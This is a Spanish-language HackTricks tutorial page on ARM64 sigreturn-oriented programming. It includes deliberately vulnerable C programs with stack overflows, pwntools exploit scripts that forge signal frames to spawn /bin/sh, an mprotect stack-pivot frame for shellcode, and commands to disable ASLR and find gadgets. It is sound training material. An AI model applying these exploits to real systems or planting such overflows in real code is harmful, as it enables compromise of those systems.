> [!TIP]
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Ejemplo de Pwntools
Este ejemplo crea el binario vulnerable y lo explota. El binario lee en la pila y luego llama a sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
ejemplo de bof
Código
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Compílalo con:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
El exploit abusa del bof para regresar a la llamada a sigreturn
y preparar la pila para llamar a execve
con un puntero a /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof ejemplo sin sigreturn
Código
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
En la sección vdso
es posible encontrar una llamada a sigreturn
en el offset 0x7b0
:
 (1).png)
Por lo tanto, si se filtra, es posible usar esta dirección para acceder a un sigreturn
si el binario no lo está cargando:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Para más información sobre vdso consulta:
Y para eludir la dirección de /bin/sh
podrías crear varias variables de entorno que apunten a ella, para más información:
Encontrar gadgets sigreturn
automáticamente (2023-2025)
En distribuciones modernas, el trampolín sigreturn
todavía se exporta por la página vDSO, pero el desplazamiento exacto puede variar entre versiones del kernel y banderas de compilación como BTI (+branch-protection
) o PAC. Automatizar su descubrimiento previene la codificación rígida de desplazamientos:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Ambas herramientas entienden AArch64 codificaciones y listarán secuencias candidatas mov x8, 0x8b ; svc #0
que pueden ser utilizadas como el gadget SROP.
Nota: Cuando los binarios se compilan con BTI, la primera instrucción de cada objetivo de rama indirecta válida es
bti c
. Los trampolinessigreturn
colocados por el enlazador ya incluyen la almohadilla de aterrizaje BTI correcta, por lo que el gadget sigue siendo utilizable desde código no privilegiado.
Encadenando SROP con ROP (pivotar a través de mprotect
)
rt_sigreturn
nos permite controlar todos los registros de propósito general y pstate
. Un patrón común en x86 es: 1) usar SROP para llamar a mprotect
, 2) pivotar a una nueva pila ejecutable que contenga código shell. La misma idea funciona en ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Después de enviar el marco, puedes enviar una segunda etapa que contenga código shell en bruto en 0x400000+0x100
. Debido a que AArch64 utiliza direccionamiento relativo al PC, esto suele ser más conveniente que construir grandes cadenas ROP.
Validación del kernel, PAC y Shadow-Stacks
Linux 5.16 introdujo una validación más estricta de los marcos de señal del espacio de usuario (commit 36f5a6c73096
). El kernel ahora verifica:
uc_flags
debe contenerUC_FP_XSTATE
cuandoextra_context
está presente.- La palabra reservada en
struct rt_sigframe
debe ser cero. - Cada puntero en el registro extra_context está alineado y apunta dentro del espacio de direcciones del usuario.
pwntools>=4.10
crea marcos compatibles automáticamente, pero si los construyes manualmente, asegúrate de inicializar en cero reserved y omitir el registro SVE a menos que realmente lo necesites; de lo contrario, rt_sigreturn
entregará SIGSEGV
en lugar de retornar.
A partir de Android 14 y Fedora 38, el espacio de usuario se compila con PAC (Pointer Authentication) y BTI habilitados por defecto (-mbranch-protection=standard
). SROP en sí no se ve afectado porque el kernel sobrescribe PC
directamente desde el marco creado, eludiendo el LR autenticado guardado en la pila; sin embargo, cualquier cadena ROP subsiguiente que realice saltos indirectos debe saltar a instrucciones habilitadas para BTI o direcciones PACed. Ten esto en cuenta al elegir gadgets.
Los Shadow-Call-Stacks introducidos en ARMv8.9 (y ya habilitados en ChromeOS 1.27+) son una mitigación a nivel de compilador y no interfieren con SROP porque no se ejecutan instrucciones de retorno; el flujo de control es transferido por el kernel.
Referencias
- Documentación sobre el manejo de señales en Linux arm64
- LWN – "La protección de ramas AArch64 llega a GCC y glibc" (2023)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.